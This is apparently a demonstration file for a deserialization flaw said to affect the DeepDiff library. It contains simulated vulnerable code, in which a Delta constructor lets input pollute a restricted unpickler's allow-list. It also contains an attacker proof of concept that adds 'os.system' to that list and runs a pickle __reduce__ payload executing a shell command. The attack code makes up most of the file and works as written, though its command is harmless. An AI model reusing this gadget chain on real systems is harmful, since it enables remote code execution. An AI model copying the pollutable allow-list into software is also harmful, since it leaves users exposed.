Vulnerable code sample

import os
import pickle
import io

# This code is a conceptual representation of CVE-2025-58367.
# The CVE identifier and the exact implementation details are hypothetical,
# created to demonstrate the described vulnerability pattern.
# This code simulates an environment where a library like DeepDiff could be exploited.

# --- Start of Simulated Vulnerable Library Code (e.g., deepdiff < 8.6.1) ---

class deepdiff:
    """
    A simplified, simulated namespace for the deepdiff library.
    """
    class serialization:
        """
        Simulated serialization module containing the security control that will be bypassed.
        """
        # This set is supposed to contain only safe-to-import classes/modules.
        SAFE_TO_IMPORT = {'builtins.object'}

        @staticmethod
        def _safe_load(pickled_string):
            """
            A custom pickle loader that is supposed to be safe by checking
            the SAFE_TO_IMPORT set before allowing a class to be imported.
            """
            class RestrictedUnpickler(pickle.Unpickler):
                def find_class(self, module, name):
                    path = f"{module}.{name}"
                    if path in deepdiff.serialization.SAFE_TO_IMPORT:
                        return super().find_class(module, name)
                    # This check is what the attacker wants to bypass.
                    raise pickle.UnpicklingError(f"Global '{path}' is not in SAFE_TO_IMPORT.")

            # The deserialization happens here.
            return RestrictedUnpickler(io.BytesIO(pickled_string)).load()

    class Delta:
        """
        The vulnerable Delta class.
        Its constructor processes a dictionary in an unsafe way.
        """
        def __init__(self, delta_dict):
            # VULNERABILITY PART 1: Class Pollution
            # The constructor improperly processes the input dictionary, allowing
            # an attacker to modify the module's global state. In a real-world
            # scenario, this might happen through a complex attribute-setting gadget.
            # Here, we simulate it directly for clarity.
            if '__deepdiff_unsafe_pre_apply__' in delta_dict:
                actions = delta_dict['__deepdiff_unsafe_pre_apply__']
                if 'add_to_safe_to_import' in actions:
                    newly_allowed_imports = actions['add_to_safe_to_import']
                    print(f"[VULN] Polluting SAFE_TO_IMPORT with: {newly_allowed_imports}")
                    # The pollution occurs here, modifying the security control set.
                    deepdiff.serialization.SAFE_TO_IMPORT.update(newly_allowed_imports)

            # VULNERABILITY PART 2: Insecure Deserialization
            # After the class pollution, another part of the input is deserialized.
            # The _safe_load function is now effectively neutered because the
            # SAFE_TO_IMPORT set has been compromised.
            if 'pickle' in delta_dict:
                pickled_payload = delta_dict['pickle']
                print("[VULN] Deserializing pickle payload using compromised _safe_load...")
                # This call now leads to RCE.
                deepdiff.serialization._safe_load(pickled_payload)

# --- End of Simulated Vulnerable Library Code ---


# --- Start of Attacker's Proof-of-Concept (PoC) ---

def exploit():
    """
    This function demonstrates how an attacker would exploit the vulnerability.
    """
    print("--- CVE-2025-58367 PoC ---")
    print(f"Initial SAFE_TO_IMPORT: {deepdiff.serialization.SAFE_TO_IMPORT}\n")

    # 1. The attacker prepares an RCE payload using pickle.
    # This payload will execute a command when deserialized.
    class RCEPayload:
        def __reduce__(self):
            # On Windows, 'touch' is not a default command.
            # 'type NUL > pwned.txt' is a Windows equivalent.
            command = "echo [SUCCESS] RCE Executed! & touch pwned.txt"
            if os.name == 'nt':
                command = 'echo [SUCCESS] RCE Executed! & type NUL > pwned.txt'
            return (os.system, (command,))

    pickled_rce = pickle.dumps(RCEPayload())
    print(f"Crafted pickle payload: {pickled_rce}\n")

    # 2. The attacker crafts a malicious dictionary to be passed to Delta.
    # This dictionary triggers both the class pollution and the deserialization.
    malicious_user_input = {
        '__deepdiff_unsafe_pre_apply__': {
            # This part triggers the class pollution to allow 'os.system'.
            'add_to_safe_to_import': {'os.system'}
        },
        # This part contains the RCE payload.
        'pickle': pickled_rce
    }
    print(f"Crafted malicious input for Delta constructor:\n{malicious_user_input}\n")

    # 3. The victim application receives this malicious input and passes it
    # to the vulnerable Delta class.
    print("--- Triggering Vulnerability ---")
    try:
        # The vulnerable call that leads to exploitation.
        deepdiff.Delta(malicious_user_input)
    except Exception as e:
        print(f"[ERROR] Exploitation failed with an exception: {e}")

    print("\n--- Verifying Exploitation ---")
    print(f"Final state of SAFE_TO_IMPORT: {deepdiff.serialization.SAFE_TO_IMPORT}")

    if os.path.exists("pwned.txt"):
        print("\n[!!!] SUCCESS: 'pwned.txt' created. Remote Code Execution was successful.")
        os.remove("pwned.txt")  # Clean up the file.
    else:
        print("\n[-] FAILED: 'pwned.txt' not found. The exploit did not execute as expected.")

if __name__ == "__main__":
    exploit()